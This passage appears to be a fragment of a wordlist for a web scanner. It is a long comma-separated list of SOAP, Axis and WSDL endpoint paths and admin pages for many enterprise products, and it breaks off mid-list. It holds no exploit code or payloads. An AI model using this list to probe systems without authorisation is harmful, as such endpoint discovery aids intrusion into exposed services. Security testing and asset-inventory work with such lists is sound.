'/webtools/control/SOAPService?wsdl', '/api/axis', '/api/secure/axis', '/tunnel-web/axis', '/tunnel-web/secure/axis', '/api/axis/Portal_UserService?wsdl', '/api/secure/axis/Portal_UserService?wsdl', '/tunnel-web/secure/axis/Portal_UserService?wsdl', '/CFIDE/adminapi/administrator.cfc?wsdl', '/CFIDE/adminapi/base.cfc?wsdl', '/CFIDE/services/document.cfc?wsdl', '/CFIDE/services/pdf.cfc?wsdl', '/fedora/services/access?wsdl', '/fedora/services/management?wsdl', '/fedora/servlet/AxisServlet', '/exist/services/Query?wsdl', '/exist/services/Version?wsdl', '/dspace-lni/lni/DSpaceLNI?wsdl', '/dspace/lni/DSpaceLNI?wsdl', '/wsrp4j-producer-webapp/services/WSRPServiceDescriptionService?wsdl', '/wsrp4j/wsrp4j/WSRPServiceDescriptionService?wsdl', '/wsrf/services/Version?wsdl', '/wsrf/services/ContainerRegistryService?wsdl', '/ws4ee/services/Version?wsdl', '/jboss-net/services/Version?wsdl', '/juddi/services/inquiry?wsdl', '/juddi/inquiry', '/juddi/publish', '/Scada-LTS/services/Version?wsdl', '/ACMEWS/services', '/infranetwebsvc/services', '/infranetwebsvc/', '/messageeventservice/services/MessageEventService?wsdl', '/vmws/services/Authentication?wsdl', '/messageeventservice/services/MessageEventService', '/vmws/services/Authentication', '/realtimeservice/services/SOAPMonitorService?wsdl', '/realtimeservice/services/SOAPMonitorService', '/openbravo/services/ExternalSales?wsdl', '/openbravo/services/ExternalSales', '/openbravo/services', '/CuramWS/services', '/adxwsvc/services/CAdxWebServiceXmlCC?wsdl', '/adxwsvc/services/CAdxWebServiceXmlCC', '/axis/services/EWSConnector?wsdl', '/axis/services/EWSConnector', '/XIAxisAdapter/MessageServlet', '/dswsbobje/axis2-admin/', '/ormrpc/services/EASLogin?wsdl', '/ormrpc/services/EASLogin', '/ormrpc/services', '/services/userInfoWeb?wsdl', '/services/operOriztion?wsdl', '/services/userInfoWeb', '/services/operOriztion', '/services/AdminService', '/defaultroot/services/AdminService', '/defaultroot/services', '/zfca/axis/CreateCaFile?wsdl', '/zfca/axis/RzptManage?wsdl', '/zfca/axis/CreateCaFile', '/zfca/axis/RzptManage', '/active-bpel/services/ActiveBpelAdmin?wsdl', '/active-bpel/services/ActiveBpelAdmin', '/oer/services/FlashlineRegistry?WSDL', '/oer/services/FlashlineRegistry?wsdl', '/oer/services/RexAPI?wsdl', '/oer/services/FlashlineRegistry', '/oer/services/RexAPI', '/com.ibm.ram.repository.web.ws.was/services/RAM1?wsdl', '/com.ibm.ram.repository.web.ws.was/RAMSecure/services/RAM1?wsdl', '/com.ibm.ram.repository.web.ws.was/RAMServices', '/com.ibm.ram.repository.web.ws.was/services/RAM1', '/com.ibm.ram.repository.web.ws.was/RAMSecure/services/RAM1', '/axis2/services/WebiPE?wsdl', '/axis2/services/WebiPE', '/axis2/services/WebiPE.WebiPEHttpSoap11Endpoint/', '/axis2/services/WebiPE.WebiPEHttpSoap12Endpoint/', '/pf-mgmt-ws/ws/ConnectionMigrationMgr?wsdl', '/pf-mgmt-ws/ws/ConfigReplication?wsdl', '/pf-mgmt-ws/ws/SSODirectoryService?wsdl', '/pf-mgmt-ws/ws/ConfigCopyService?wsdl', '/pf-ws/services/SSODirectoryService?wsdl', '/pf-mgmt-ws/ws/ConnectionMigrationMgr', '/pf-mgmt-ws/ws/ConfigReplication', '/pf-mgmt-ws/ws/SSODirectoryService', '/pf-mgmt-ws/ws/ConfigCopyService', '/pf-ws/services/SSODirectoryService', '/ctkip/services/CtkipService?wsdl', '/ctkip/services/CtkipService', '/ims-ws/services/CommandServer?wsdl', '/ims-ws/services/CommandServer', '/axis/services/document/webtopsession?wsdl', '/axis/services/document/admin?wsdl', '/axis/services/document/print?wsdl', '/axis/services/document/utility?wsdl', '/axis/services/document/webtopcontent?wsdl', '/axis/services/document/webtopsession', '/axis/services/document/admin', '/axis/services/document/print', '/axis/services/document/utility', '/axis/services/document/webtopcontent', '/Locate/LocateServices?wsdl', '/Locate/LocateServices', '/dms2/services2/ServerEI2?wsdl', '/dms/services/ServerEI?wsdl', '/dms/services/ServerUI', '/dms/services/ServerMMS', '/dms/services/ServerEI', '/dms2/services2/ServerEI2', '/ServiceEmulation/services/EmulationAdmin?wsdl', '/ServiceEmulation/services/EmulationAdmin', '/jboss-net/happyaxis.jsp', '/ws/services/AssetOperationService?wsdl', '/ws/services/SecurityService?wsdl', '/ws/services/AssetOperationService', '/ws/services/SecurityService', '/konakart/services/KKWebServiceEng?wsdl', '/konakart/services/KKWebServiceEng', '/josso/services/SSOIdentityManager?wsdl', '/josso/services/SSOIdentityProvider?wsdl', '/josso/services/SSOIdentityManagerSoap?wsdl', '/josso/services/SSOIdentityManager', '/josso/services/SSOIdentityProvider', '/josso/services/SSOIdentityManagerSoap', '/greenstone3/services/QBRSOAPServerlocalsite?wsdl', '/greenstone3/services', '/greenstone3/services/QBRSOAPServerlocalsite', '/xplanner/soap/XPlanner?wsdl', '/xplanner/soap/XPlanner', '/active-bpel/services', '/servlet/AxisServlet', '/xnat/servlet/AxisServlet', '/ws/services', '/Rhythmyx/webservices/assemblySOAP?wsdl', '/Rhythmyx/webservices/securitySOAP?wsdl', '/Rhythmyx/webservices/systemSOAP?wsdl', '/Rhythmyx/webservices/uiSOAP?wsdl', '/Rhythmyx/webservices/assemblySOAP', '/Rhythmyx/webservices/securitySOAP', '/Rhythmyx/webservices/systemSOAP', '/Rhythmyx/webservices/uiSOAP', '/Rhythmyx/servlet/AxisServlet', '/Rhythmyx/servlet/AdminServlet', '/greenstone3/servlet/AxisServlet', '/greenstone3/SOAPMonitor', '/ptapi/services/QueryInterfaceAPI?wsdl', '/ptapi/services/QueryInterfaceAPI', '/ws/services/RepoAccessor?wsdl', '/ws/services/RepoAccessor', '/client/services/ProtocolloSoap?wsdl', '/client/services/ProtocolloSoap', '/_common/webservices/Trend?wsdl', '/_common/webservices/Trend', '/flexnet/services/v2/ProductPackagingService?wsdl', '/flexnet/services/v3/ManageDeviceService?wsdl', '/flexnet/services/v2/ProductPackagingService', '/flexnet/services/v3/ManageDeviceService', '/konakartadmin/services/KKWSAdmin?wsdl', '/konakartadmin/services/KKWSAdmin', '/mailarchiva/services/MailArchiva?wsdl', '/mailarchiva/services/MailArchiva', '/glite-security-voms-admin-interface/VOMSAdmin?wsdl', '/glite-security-voms-admin-interface/VOMSACL?wsdl', '/glite-security-voms-admin-interface/VOMSAdmin', '/glite-security-voms-admin-interface/VOMSACL', '/glite-security-voms-admin-interface/VOMSAttributes', '/glite-security-voms-admin-interface/VOMSCompatibility', '/glite-security-voms-admin-interface/VOMSCertificates', '/glite-security-voms-admin-interface/VOMSRegistration', '/active-bpel/services/ActiveBpelDeployBPR?wsdl', '/active-bpel/services/ActiveBpelDeployBPR', '/soap-wsdl/syracuse/collaboration/syracuse/CAdxWebServiceXmlCC?wsdl', '/soap-generic/syracuse/collaboration/syracuse/CAdxWebServiceXmlCC', '/services/EtudiantMetier?wsdl', '/aws/services/EtudiantMetier?wsdl', '/services/AdministratifMetier', '/services/EtudiantMetier', '/aws/services/EtudiantMetier', '/aws/services/PedagogiqueMetier', '/aws/services/ReferentielMetier', '/afirmaws/services/ObtenerInfoCertificado?wsdl', '/firma/services/DSSAfirmaVerify?wsdl', '/afirmaws/services/ObtenerInfoCertificado', '/firma/services/DSSAfirmaVerify', '/firma/services/DSSAfirmaSign', '/firma/services/DSSAfirmaVerifyCertificate', '/firma/services/DSSAfirmaArchiveRetrieval', '/firma/services/DSSBatchVerifySignature', '/firma/services/DSSBatchVerifyCertificate', '/firma/services/DSSAsyncRequestStatus', '/firma/services/GetInfoCertificate', '/SIGEM_TramitacionWS/services/TramitacionWebService?wsdl', '/SIGEM_EntidadesWS/services/EntidadesWebService?wsdl', '/SIGEM_TramitacionWS/services/TramitacionWebService', '/SIGEM_TramitacionWS/services/AplicacionExternaCSVConnectorWS', '/SIGEM_RegistroTelematicoWS/services/AplicacionExternaCSVConnectorWS', '/SIGEM_EstructuraOrganizativaWS/services/EstructuraOrganizativaWebService', '/SIGEM_EntidadesWS/services/EntidadesWebService', '/SIGEM_CertificacionWS/services/CertificacionWebService', '/SIGEM_CatastroWS/services/CatastroWebService', '/SIGEM_CalendarioWS/services/CalendarioWebService', '/SIGEM_AutenticacionUsuariosWS/services/AdministracionUsuariosPortalWebService', '/SIGEM_AntivirusWS/services/AntivirusWebService', '/SIGEM_AdministracionSesionesBackOfficeWS/services/AdministracionSesionesBackOfficeWebService', '/SIGEM_AdministracionSesionesAdmWS/services/AdministracionSesionesAdministradorWebService', '/ispacservicesws/services/TramitacionWebService', '/archidoc/services/WSDocumentosVitales', '/archidoc/services/WSTiposDocumentosVitales', '/archidoc/services/WSProcesosBatch', '/sf-soap43/services/SourceForge?wsdl', '/sf-soap43/services/AdminService?wsdl', '/sf-soap43/services/SourceForge', '/sf-soap43/services/AdminService', '/ce-soap50/services/AdminService', '/ce-soap50/services/FileStorageApp', '/ce-soap50/services/NewsApp', '/ecmengine/services/EcmEngineBackoffice?wsdl', '/ecmengine/services/EcmEngineBackoffice', '/sbn/services/TBConnectorWS?wsdl', '/sbn/services/TBConnectorWS', '/axis/services/soap_uze_3.0?wsdl', '/axis/services/soap_dmp_4.0?wsdl', '/axis/services/soap_uze_3.0', '/axis/services/soap_uze_2.0', '/axis/services/soap_dmp_4.0', '/emf-web/services/EMFUserManagerService?wsdl', '/emf-web/services/EMFUserManagerService', '/knowage/sdk/DocumentsService?wsdl', '/knowage/sdk/ImportExportSDKService?wsdl', '/knowage/sdk/DocumentsService', '/knowage/sdk/ImportExportSDKService', '/SpagoBI/sdk/DataSetsSDKService', '/SpagoBI/sdk/DataSourcesSDKService', '/SpagoBI/sdk/EnginesService', '/SpagoBI/sdk/MapsSDKService', '/SpagoBI/sdk/TestConnectionService', '/SpagoBI/sdk/DomainsService', '/SpagoBI/sdk/BehaviouralService', '/SpagoBI/services/WSDataSetService', '/SpagoBI/services/DocumentExecuteService', '/SpagoAxisService/services/AdapterAxis', '/TeamWeb/services/Team?wsdl', '/TeamWeb/services/Team', '/services/Mirth?wsdl', '/services/Mirth', '/service_manager/invoker/anc:AbstractService?wsdl', '/service_manager/invoker/anc:AbstractService', '/service_manager/invoker/anc:AbstractDatasource', '/cabio43/services/caBIOService?wsdl', '/cabio41/services/caBIOService', '/cabio42/services/caBIOService', '/cabio43/services/caBIOService', '/polarion/ws/services/SecurityWebService?wsdl', '/polarion/ws/services/SecurityWebService', '/ws/services/mainservice?wsdl', '/ws/services/mainservice', '/ws/AdministrationClient?WSDL', '/rtis/sdwp', '/ws/rtis', '/ws/AdministrationClient', '/ws-legacy/services', '/ws-legacy/services/AdminService', '/ws-legacy/services/UserWSUserManager', '/ws/services/WSContext', '/skyboxview/webservice/services/VersionRepositoryWebService', '/skyboxview/webservice/services/VersionWebService', '/skyboxview-softwareupdate/services/CollectorSoftwareUpdate', '/DL229/services', '/LFS/services', '/DL229/services/AdminService', '/LFS/services/AdminService', '/ws/services/ServerWebService', '/axis/happyaxis.jsp', '/axis/fingerprint.jsp', '/axis/index.html', '/axis/services/urn:cominfo?wsdl', '/axis/services/urn:cominfo', '/imws', '/bdd/api/axis/Portal_UserService?wsdl', '/bdd/api/axis', '/bdd/api/secure/axis', '/eid/api/axis/Portal_UserService?wsdl', '/eid/api/axis', '/eid/api/secure/axis', '/wsi/ProcessEngineWS?wsdl', '/pewsi/ProcessEngineWS?wsdl', '/wsi/ProcessEngineWS', '/wsi/ProcessEngineWS-I', '/pewsi/ProcessEngineWS', '/Workplace/P8BPMWSBroker', '/WorkplaceXT/P8BPMWSBroker', '/plm-api-axis/services', '/inquiragw/servlet/rpcrouter', '/siebel-determinations-server/soap?wsdl', '/security-ws/services/DirectoryInformation?wsdl', '/security-ws/services/ProviderInformation?wsdl', '/cr-ws/services/ContentRepository?wsdl', '/search-ws/services/Search?wsdl', '/scoring/services/Scoring.HttpV2?wsdl', '/security-ws/services/Authentication', '/security-ws/services/CapabilityInformation', '/security-ws/services/DirectoryInformation', '/security-ws/services/DirectoryManagement', '/security-ws/services/ProviderInformation', '/cr-ws/services/ContentRepository', '/cr-ws/services/ContentRepositoryURI', '/search-ws/services/Search', '/search-ws/services/Values', '/process/services/ProcessManagement', '/process/services/SchedulingServer', '/notification/services/EventCollector', '/notification/services/SubscriptionManager', '/notification/services/SubscriptionRepository', '/reporting-ws/services/Reporting', '/userpref-ws/services/Client', '/userpref-ws/services/Manager', '/scoring/services/Scoring.HttpV2', '/axis/services/InfoService?wsdl', '/axis/services/InfoService', '/discussions/ws/AuthenticationService?wsdl', '/discussions/ws/axis/services/AuthenticationService', '/discussions/ws/AuthenticationService', '/discussions/ws', '/rpc/soap-axis/pdfexport?wsdl', '/plugins/servlet/soap-axis1/pdfexport?wsdl', '/Campaign/services/CampaignServices30Service?wsdl', '/Campaign/services/CampaignServices30Service', '/aler/services/FlashlineRegistry?wsdl', '/aler/services/FlashlineRegistry', '/ims/services/encentuate.ims.service.ServerAuthentication?wsdl', '/ims/services/encentuate.ims.service.ServerAuthentication', '/dsview/services/UnitServiceApi?wsdl', '/dsview/services/UserServiceApi?wsdl', '/dsview/services/UnitServiceApi', '/alfresco/soapapi/RepositoryService?wsdl', '/alfresco/soapapi/AuthenticationService?wsdl', '/alfresco/soapapi/RepositoryService', '/o/com.liferay.wsrp.service/api/axis/WSRP_v2_ServiceDescription_Service?wsdl', '/o/opensocial-portlet/api/axis/Plugin_OpenSocial_GadgetService?wsdl', '/axislegacy/sccentities?wsdl', '/axislegacy/sccentities', '/webservices/services/AicAgentAdmin?wsdl', '/webservices/services/AicWorkflow?wsdl', '/webservices/services/AicWorkflow', '/enovia/services/MatrixAxisMQLService?wsdl', '/enovia/servlet/AxisServlet', '/ematrix/servlet/AxisServlet', '/cc/soap/ILoginAPI?wsdl', '/pc/soap/ILoginAPI?wsdl', '/bc/soap/ILoginAPI?wsdl', '/ab/soap/ISystemToolsAPI?wsdl', '/pc/soap/ProducerAPI?wsdl', '/EXEWebService/services', '/vertex-ws/services/CalculateTax70?wsdl', '/axis2/services/IntegrationLandscapeServiceWS?wsdl', '/webapi/services/WebAPIService?wsdl', '/wsi/FNCEWS40MTOM/wsdl', '/p2pd/servlet/dispatch', '/PI/services/UCP?wsdl', '/axis2/services/UcmdbService?wsdl', '/itg/ppmservices/DemandService?wsdl', '/integration/services', '/cmdbws/server/cmdbws?wsdl', '/services/BSALoginService.wsdl', '/itpam/soap?wsdl', '/niku/wsdl', '/axis/services/PPM?wsdl', '/axis2/services/VPAppIntfService?wsdl', '/webapps/ws/services/Context.WS?wsdl', '/servlet/axis2/services/OXUtilService?wsdl', '/Services1.0/services', '/AlmServices1.0/services', '/www/core-service/services/LoginService?wsdl', '/soap/services/LoginService?wsdl', '/spmlws/HttpSoap11?wsdl', '/ProtectManager/services/v2011/incidents?wsdl', '/wsa/wsa1', '/CFIDE/services/image.cfc?wsdl', '/CFIDE/services/mail.cfc?wsdl', '/axis/StockQuoteService.jws?wsdl', '/BrmWebServices/BRMCUSTServices_v2?wsdl', '/BrmWebServices/BRMCUSTServices_v2', '/webservice/services/ProvisioningService?wsdl', '/webservice/services/ProvisioningService', '/OrderManagement/entity/wsapi?WSDL', '/OrderManagement/wsapi', '/OrderManagement/diagnostic/wsapi', '/OrderManagement/entity/wsapi', '/Services/API?wsdl', '/Services/API', '/PrimoWebServices/services/searcher?wsdl', '/PrimoWebServices/services/eshelf?wsdl', '/PrimoWebServices/services/reviews?wsdl', '/PrimoWebServices/services/tags?wsdl', '/PrimoWebServices/services/searcher', '/PrimoWebServices/services/eshelf', '/PrimoWebServices/services/eshelfstructure', '/PrimoWebServices/services/reviews', '/PrimoWebServices/services/tags', '/i2b2/services/PMService?wsdl', '/i2b2/services/PMService', '/i2b2/services/QueryToolService', '/i2b2/services/OntologyService', '/i2b2/services/WorkplaceService', '/i2b2/services/FRService', '/i2b2/services/IMService', '/i2b2/services/listServices', '/DataServices/servlet/webservices', '/services/ZksrService?wsdl', '/services/ZksrService', '/uapws/service/nc.uap.oba.update.IUpdateService?wsdl', '/uapws/service/nc.itf.ses.inittool.PortalSESInitToolService?wsdl', '/uapws/service', '/uapws/service/nc.itf.ses.inittool.PortalSESInitToolService', '/uapws/service/nc.uap.oba.update.IUpdateService', '/uapws/soapFormat.ajax', '/services/IWsBaseService?wsdl', '/services/IWsBaseService.IWsBaseServiceHttpSoap11Endpoint', '/services/IWsBaseService', '/portal/services/itcBulletin?wsdl', '/portal/services/clientServer?wsdl', '/portal/services/clientServer', '/portal/services/itcBulletin', '/selfservice/service/operatorReportorRoamService?wsdl', '/selfservice/service/operatorReportorRoamService', '/services/MessageService?wsdl', '/services/MessageService', '/xtHisService/services/nzzManager?wsdl', '/xtHisService/services/nzzManager', '/services/WorkflowServiceXml?wsdl', '/services/HrmService?wsdl', '/services/WorkflowServiceXml', '/services/HrmService', '/services/BlogService', '/services/ModeDateService', '/services/WorkPlanService', '/sys/webservice/sysSynchroGetOrgWebService?wsdl', '/sys/webservice/sysFormMainDataInsystemWebservice', '/sys/webservice/sysSynchroGetOrgWebService', '/sys/webservice/sysNotifyTodoWebService', '/sys/webservice/kmImeetingResWebService', '/sys/webservice/kmImeetingBookWebService', '/sys/webservice/loginWebserviceService', '/sys/webservice/sysTagWebService', '/sys/webservice/thirdImSyncForKKWebService', '/sys/webservice/wechatWebserviceService', '/sys/webservice/hrStaffWebService', '/services/UserRegistrationAdminService.UserRegistrationAdminServiceHttpsSoap11Endpoint/', '/services/AuthenticationAdmin', '/services/UserRegistrationAdminService', '/axis2-AWC/services/listServices', '/axis2/services/listServices', '/seeyon/services/authorityService?wsdl', '/seeyon/services/authorityService', '/axis2/services/OdiInvoke?wsdl', '/axis2/services/OdiInvoke', '/ode/processes/DeploymentService?wsdl', '/ode/processes/InstanceManagement?wsdl', '/ode/processes/ProcessManagement?wsdl', '/ode/processes/DeploymentService', '/ode/processes/InstanceManagement', '/ode/processes/ProcessManagement', '/services/AuthenticationAdmin?wsdl', '/services/RemoteUserStoreManagerService?wsdl', '/services/UserAdmin?wsdl', '/services/RemoteUserStoreManagerService', '/services/UserAdmin', '/reqpro/services/RequisiteProWebservice?wsdl', '/reqpro/services/RequisiteProWebservice', '/webservices/10/2/Integrity/?wsdl', '/webservices/2009/Generic/?wsdl', '/webservices/10/2/Integrity/', '/webservices/2009/Generic/', '/eventmanager/services/ALFEventManagerDocLit?wsdl', '/eventmanager/services/ALFEventManagerOneWayDocLit?wsdl', '/eventmanager/services/ALFEventManagerDocLit', '/eventmanager/services/ALFEventManagerOneWayDocLit', '/dmwebservices2/services/dmwebservices?wsdl', '/dmwebservices2/services/dmwebservices/', '/www/manager-service/services/ResourceService?wsdl', '/www/manager-service/services/CaseService?wsdl', '/www/manager-service/services/GroupService?wsdl', '/www/manager-service/services/ReportService?wsdl', '/www/manager-service/services/SecurityEventService?wsdl', '/www/manager-service/services/ResourceService', '/www/manager-service/services/CaseService', '/www/manager-service/services/GroupService', '/www/manager-service/services/ReportService', '/www/manager-service/services/SecurityEventService', '/www/manager-service/services/ArchiveReportService', '/www/manager-service/services/DashboardService', '/www/manager-service/services/DataMonitorService', '/www/manager-service/services/FileResourceService', '/oaam_server/services?wsdl', '/oaam_server/services', '/webservice/Manager?WSDL', '/webservice/Manager?wsdl', '/webservice/Manager', '/ITIMWebServices/services/WSItimService?wsdl', '/ITIMWebServices/services/WSPersonService?wsdl', '/ITIMWebServices/services/WSItimService', '/ITIMWebServices/services/WSPersonService', '/ITIMWebServices/testITIMConnection.jsp', '/AdaptiveAuthentication/services/AdaptiveAuthentication?wsdl', '/AdaptiveAuthentication/services/AdaptiveAuthentication', '/IDMProv/vdx/service?wsdl', '/IDMProv/notification/service?wsdl', '/IDMProv/vdx/service', '/IDMProv/notification/service', '/services/Version', '/WebServiceImpl/services/FlashServiceImpl', '/WebServiceImpl/services/VirtualStandbyServiceImpl', '/management/services/EdgeServiceConsoleImpl', '/WebServiceImpl/services/listServices', '/WebServiceImpl/axis2-web/HappyAxis.jsp', '/WebServiceImpl/axis2-admin/login', '/axis2/services/SystemService?wsdl', '/axis2/services/SystemService', '/concerto/services/RepositoryService', '/concerto/services/CollectorService', '/concerto/services/Concerto', '/concerto/services/SampleService', '/openmeetings/services/services', '/dswsbobje/axis2-web/HappyAxis.jsp', '/dswsbobje/axis2-admin/login', '/dswsbobje/services/listServices', '/xmlpserver/services/XMLPService', '/imcws/services/Version?method=getVersion', '/wssgs/happyaxis.jsp', '/tresearch/happyaxis.jsp', '/AddressBookJ2WE/services/AddressBook/wsdl/', '/Bank/services/Transfer_SEI/wsdl', '/GreenhouseEJB/services/GreenhouseFront/wsdl/', '/StockQuote/services/xmltoday-delayed-quotes/wsdl/', '/AddressBookJ2WE/services/AddressBook', '/AddressBookW2JE/services/AddressBook', '/Bank/services/Transfer_SEI', '/GreenhouseEJB/services/GreenhouseFront', '/opc/services/BrokerServiceIntfPort', '/opc/services/OrderTrackingIntfPort', '/opc/services/PurchaseOrderIntfPort', '/OrderProcessorEJB/services/FrontGate', '/StockQuote/services/xmltoday-delayed-quotes', '/WarehouseEJB/services/WarehouseFront', '/soap/servlet/soaprouter', '/soap/admin/servlet/soaprouter', '/services/MPService?wsdl', '/services/MPInquiryService?wsdl', '/services/MPListDefService?wsdl', '/services/MPProvisioningService?wsdl', '/services/Version?wsdl', '/services/MPService', '/services/MPInquiryService', '/services/MPListDefService', '/services/MPProvisioningService', '/PASJava/FileReceived?wsdl', '/PASJava/ExposedComputation?wsdl', '/PASJava/ValuePolicy?wsdl', '/PASJava/ProcessPolicy?wsdl', '/PASJava/UserService?wsdl', '/PASJava/FileReceived', '/PASJava/ExposedComputation', '/PASJava/ValuePolicy', '/PASJava/ProcessPolicy', '/PASJava/UserService', '/seeyon/services/messageService?wsdl', '/seeyon/services/messageService', '/i2b2/rest/PMService', '/axis2/rest/PMService', '/axis2/services/PMService', '/axis/services/NACWebService?wsdl', '/axis/services/NetSightDeviceWebService?wsdl', '/axis/services/NACWebService', '/axis/services/NetSightDeviceWebService', '/interact/services/InteractService?wsdl', '/interact/services/InteractService', '/axis2/services/InteractDesignService', '/grouper-ws/services/GrouperService?wsdl', '/grouper-ws/services/GrouperService_v2_0?wsdl', '/grouperWs/services/GrouperService?wsdl', '/grouper-ws/services/GrouperService', '/grouper-ws/services/GrouperService_v2_0', '/grouperWs/services/GrouperService', '/SASWIPSoapServices/services/ReportRepositoryService?wsdl', '/SASWIPSoapServices/services/ServiceRegistry?wsdl', '/SASWIPSoapServices/services/ReportRepositoryService', '/SASWIPSoapServices/services/ServiceRegistry', '/Rhythmyx/webservices/contentSOAP?wsdl', '/Rhythmyx/webservices/contentSOAP', '/_common/webservices/Eval?wsdl', '/_common/webservices/Eval', '/_common/webservices/Report', '/WebServiceImpl/services/FlashServiceImpl?wsdl', '/WebServiceImpl/services/VirtualStandbyServiceImpl?wsdl', '/services/mcsdk20?wsdl', '/services/mcsdk20', '/services/mcsdk10', '/services/mcService', '/imws/services/ImpactManager?wsdl', '/imws/services/ImpactManager', '/lmc/services/JobSubmission?wsdl', '/lmc/services/JobSubmission', '/nbapi/audittrail?wsdl', '/nbapi/device?wsdl', '/nbapi/event?wsdl', '/nbapi/issue?wsdl', '/nbapi/rules?wsdl', '/nbapi/search?wsdl', '/nbapi/audittrail', '/nbapi/device', '/nbapi/event', '/nbapi/issue', '/nbapi/rules', '/nbapi/search', '/APG-WS/wsapi/db?wsdl', '/APG-WS/wsapi/db', '/CommandCenterWebServices/AuthenticationAndAuthorizationServicePort?wsdl', '/CommandCenterWebServices/NodeManagementServicePort?wsdl', '/CommandCenterWebServices/UserManagementServicePort?wsdl', '/CommandCenterWebServices/AuthenticationAndAuthorizationServicePort', '/CommandCenterWebServices/NodeManagementServicePort', '/CommandCenterWebServices/UserManagementServicePort', '/apis/soap/v1', '/OVSWS/ServerPoolService.wsdl', '/les-services/services/Authentication?wsdl', '/ot-authws/services/Authentication?wsdl', '/les-services/services/Authentication', '/ot-authws/services/Authentication', '/iw/services/cm/2.0/accessservice?wsdl', '/iw/services/cm/2.0/accessservice', '/openmeetings/services/UserService?wsdl', '/openmeetings/services/RoomService?wsdl', '/openmeetings/services/UserService', '/openmeetings/services/RoomService', '/axl/', '/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf', '/FileStoreWebService/axis2-admin/', '/FileStoreWebService/axis2-web/index.jsp', '/FileStoreWebService', '/MedRestoreWebService', '/SQLRestoreWebService', '/arcotuds/services/ArcotUserRegistrySvc', '/arcotuds/services/ArcotConfigRegistrySvc', '/arcotuds/services/ArcotUserRegistryMgmtSvc', '/services/ArcotRiskFortAdminSvc', '/services/RiskFortEvaluateRiskSvc', '/qxi/services/QdocWebService?wsdl', '/qxi/services/QdocWebService', '/ws/TririgaWS?WSDL', '/services/Query?WSDL', '/services/BoRecord?WSDL', '/services/WFTaskActions?WSDL', '/services/CadQuery?WSDL', '/ws/TririgaWS', '/services/Query', '/services/BoRecord', '/services/WFTaskActions', '/services/CadQuery', '/idm/servlet/rpcrouter2', '/sanscreenapi?wsdl', '/services/hpovou/EventService?WSDL', '/service/services/ServiceEndPoint', '/idm/servlet/spespml', '/idm/spespml', '/WSRRCoreSDO/services/WSRRCoreSDOPort', '/webacs/services/ConfigTemplateApi?wsdl', '/webacs/services/ConfigTemplateApi', '/imssoap/services/PhoneBookSOAPPort', '/imssoap/services/IMSPHBKPort', '/imssoap/imssoapivp.html', '/imssoap/', '/mws-ws/services/WS_MWS001MI?wsdl', '/mws-ws/services/API_MNS150MI_GetUserData?wsdl', '/mws-ws/services/WS_MWS001MI', '/mws-ws/services/API_MNS150MI_GetUserData', '/soap?wsdl', '/soap', '/essbase-webservices/AdminService?wsdl', '/essbase-webservices/QueryService?wsdl', '/aps/APS', '/aps/JAPI', '/aps/SmartView', '/aps/XMLA', '/essbase-webservices/AdminService', '/essbase-webservices/QueryService', '/ocw/services/AuthenticationService?wsdl', '/ocw/ws/AuthenticationService?wsdl', '/ocw/services/AuthenticationService', '/ocw/ws/AuthenticationService', '/ocw/ws', '/policymanager/services/RegistrationService?wsdl', '/logapp20/services/AuthenticationService?wsdl', '/wcm/services/trswcm:SOAPService?wsdl', '/moa-spss/services/SignatureVerification?wsdl', '/moa-spss/services/SignatureVerification', '/srm/managerv2?wsdl', '/srm/managerv2', '/srm/servlet/AxisServlet', '/srm/v2/server?wsdl', '/srm/v2/server', '/glite-data-transfer-fts/services/FileTransfer?wsdl', '/glite-data-transfer-fts/services/FileTransfer', '/ce-monitor/services/CEMonitor?wsdl', '/ce-monitor/services/CEMonitor', '/ig/services/CEInfoCollector', '/gums/services/GUMSXACMLAuthorizationServicePort?wsdl', '/gums/services/GUMSAuthorizationServicePort', '/gums/servlet/AxisServlet', '/pap/services/XACMLPolicyManagementService?wsdl', '/pap/servlet/AxisServlet', '/WsNFe2/LoteRps.jws?wsdl', '/WsNFe2/LoteRps.jws', '/tbw/services/nfseSOAP?wsdl', '/tbw/services/nfseSOAP', '/tbw/services/NotaFiscalNacional?wsdl', '/tbwhomolog/services/nfseSOAP?wsdl', '/nfe/webservices/NFEServices.jws?wsdl', '/nfe/webservices/NFEServices.jws', '/homologacao/webservices/NFEServices.jws?wsdl', '/webrun/webservices/NFEServices.jws?wsdl', '/webrun/services/WFRWebService?wsdl', '/qisserver/services/dbinterface?wsdl', '/qisserver/services/dbinterface', '/lsf/services/dbinterface?wsdl', '/funambol/services/Version?wsdl', '/funambol/servlet/AxisServlet', '/gp/services/Analysis?wsdl', '/gp/services/Analysis', '/gp/servlet/AxisServlet', '/srw/services/SRW?wsdl', '/genesisWS/services/ExportService?wsdl', '/ldbnrwws/services/ExportService?wsdl', '/Api/services/Version?wsdl', '/WebGoat/services/SoapRequest?wsdl', '/WebGoat/services/SoapRequest', '/comerzzia/ws/services/WSClientes?wsdl', '/fedoragsearch/services/FgsOperations?wsdl', '/fedoragsearch/services/FgsOperations', '/parabuild/integration/webservice/Parabuild?wsdl', '/shark/WAPI?wsdl', '/shark/XPDLBrowser?wsdl', '/obpm/services/UserService?wsdl', '/obpm/services/WorkService?wsdl', '/obpm/servlet/AxisServlet', '/CaniasWebService/services/CaniasWebService?wsdl', '/caniasLiveWS-v2/services/CaniasWebService?wsdl', '/infoglueCMS/services/RemoteContentService?wsdl', '/infoglueCMS/services/RemoteUserService', '/wct/services/urn:WebCuratorTool?wsdl', '/wct-store/services/urn:DigitalAssetStore?wsdl', '/harvest-agent-h3/services/urn:HarvestAgent?wsdl', '/openMAXIMS/services/MAXIMSWebService?wsdl', '/openMAXIMS/services/WebService', '/Node.WebServices/services/NetworkNodeSoap_V11?wsdl', '/Node.WebServices/servlet/AxisServlet', '/xPressionWebService/services/xPressionRequest?wsdl', '/xPressionWebService/services/xPressionRequest', '/wne/services/v11?wsdl', '/wne/services/v11', '/edu-sharing/services/authbyapp?wsdl', '/edu-sharing/services/usage2?wsdl', '/edu-sharing/services/authbyapp', '/buscar-1/services/SrvBuscarService?wsdl', '/publicacion-1/services/SrvPublicacionService?wsdl', '/entregar-1/services/SrvEntregarService?wsdl', '/eVisor/services/SignatureReportService?wsdl', '/eVisor/services/SignatureReportService', '/eVisorToPdfWS/services/ExportToPDFService?wsdl', '/ScadaBR/services/API?wsdl', '/ScadaBR/services/API', '/ScadaBR/servlet/AxisServlet', '/ewengine/services/EmpwebQueryService?wsdl', '/ewengine/services/EmpwebQueryService', '/SvdbCache/services/SvdbApiImpl?wsdl', '/SvdbCache/services/SvdbApiImpl', '/sipxconfig/services/UserService?wsdl', 